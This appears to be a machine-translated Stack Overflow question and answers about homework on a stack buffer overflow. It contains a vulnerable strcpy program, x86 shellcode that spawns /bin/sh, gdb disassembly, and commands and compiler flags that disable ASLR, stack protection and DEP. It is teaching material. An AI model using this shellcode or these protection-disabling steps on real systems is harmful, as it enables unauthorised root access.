利用bufferoverflow shellcode

时间:2014-12-08 16:51:15

标签: linux assembly x86 shellcode

我有一些关于缓冲区溢出的功课。

int func1(char *str) { 
    char buffer[400];
    strcpy(buffer,str);
    printf("%s\n", buffer);
}

int main(int argc, char *argv[]) {
    func1(argv[1]);
}

这是我的bufferoverflow.c,我也有shellcode.txt

\xeb\x16\x5e\x31\xd2\x52\x56\x89\xe1\x89\xf3\x31\xc0\xb0\x0b\xcd\x80\x31\xdb\x31\xc0\x40\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68

目标是使用bufferoverflow获取root权限。 但是,我不知道该怎么办。
我使用'gdb'和disas关于main和func1函数。
但是,汇编代码没有给我很多信息。

转储函数main的汇编代码:

0x08048422 <+0>:    push   %ebp
0x08048423 <+1>:    mov    %esp,%ebp
0x08048425 <+3>:    and    $0xfffffff0,%esp
0x08048428 <+6>:    sub    $0x10,%esp
0x0804842b <+9>:    mov    0xc(%ebp),%eax
0x0804842e <+12>:   add    $0x4,%eax
0x08048431 <+15>:   mov    (%eax),%eax
0x08048433 <+17>:   mov    %eax,(%esp)
0x08048436 <+20>:   call   0x80483f4 <func1>
0x0804843b <+25>:   leave  
0x0804843c <+26>:   ret

转储函数func1的汇编代码:

0x080483f4 <+0>:    push   %ebp
0x080483f5 <+1>:    mov    %esp,%ebp
0x080483f7 <+3>:    sub    $0x1a8,%esp
0x080483fd <+9>:    mov    0x8(%ebp),%eax
0x08048400 <+12>:   mov    %eax,0x4(%esp)
0x08048404 <+16>:   lea    -0x198(%ebp),%eax
0x0804840a <+22>:   mov    %eax,(%esp)
0x0804840d <+25>:   call   0x8048314 <strcpy@plt>
0x08048412 <+30>:   lea    -0x198(%ebp),%eax
0x08048418 <+36>:   mov    %eax,(%esp)
0x0804841b <+39>:   call   0x8048324 <puts@plt>
0x08048420 <+44>:   leave  
0x08048421 <+45>:   ret    

3 个答案:

答案 0 :(得分:0)

如果要挂载缓冲区溢出攻击。 首先,你必须找到一些方法来破坏易受攻击的程序的控制流程,从它的正常过程,和 其次,您必须使程序以您选择的方式行事。

在你的情况下,func1的缓冲区容量为400个字符,并且它不会检查输入的边界。因此,您可以发送超过400个字符并以您的方式覆盖堆栈中func1的返回地址。

您可以使用传统的堆栈粉碎攻击来实现第二个目的。这是将代码注入func1,并且堆栈上的修改后的返回地址指向此代码。 然而,堆栈粉碎攻击通常由大多数现代架构和操作系统提供的DEP进行防御。

最有效的方法是使用ROP攻击。 ROP攻击不会在目标程序中注入代码。它会找到一些已经存在于您系统中的小工具(例如libc),然后将这些小工具链接在一起以完成攻击(在您的情况下获得root权限)。 ROP shellcode包含这些小工具和一些数据的地址。 我不检查你的shell代码是否是ROP shellcode。

有关ROP的更多详情: [1]面向回归的编程:系统,语言和应用 [2]面向回归的编程。 http://en.wikipedia.org/wiki/Return-oriented_programming

答案 1 :(得分:0)

  1. 确定是否启用了ASLR,堆栈cookie或可执行堆栈。
  2. 如果ASLR已关闭,则堆栈cookie已关闭,并且NX已启用 您可以尝试将EIP替换为指向系统调用的某个地址

    如果ASLR已打开且NX已打开 您可能必须泄漏地址或使用ROP来获取root shell。

答案 2 :(得分:0)

您是否填写了缓冲区和SFP?

Bof(缓冲区溢出)攻击必须是重载buf,sfp,然后你输入shellcode地址

显示堆栈帧 BUF | SFP | RET(返回地址)

目的是控制RET

所以你可以攻击很多方式

首先,在buf中输入shellcode并使用gdb查找buf地址,然后填充剩余的buf,SFP最终在RET上输入buf地址(shellcode)

第二,使用环境变量(shellcode)并获取地址脚本然后在RET上填充buf,SFP最终输入环境变量地址

你想先攻击可以成功,你必须关闭ASLR,DEP

并且第二次攻击也必须离开ASLR

进入终端

echo 0 > /proc/sys/kernel/randomize_va_space : ASLR OFF
-fno-stack-protector -z execstack -mpreferred-stack-boundary=2 -m32 : gcc compile option no dummy buf and no DEP protect and compile to 32bit binary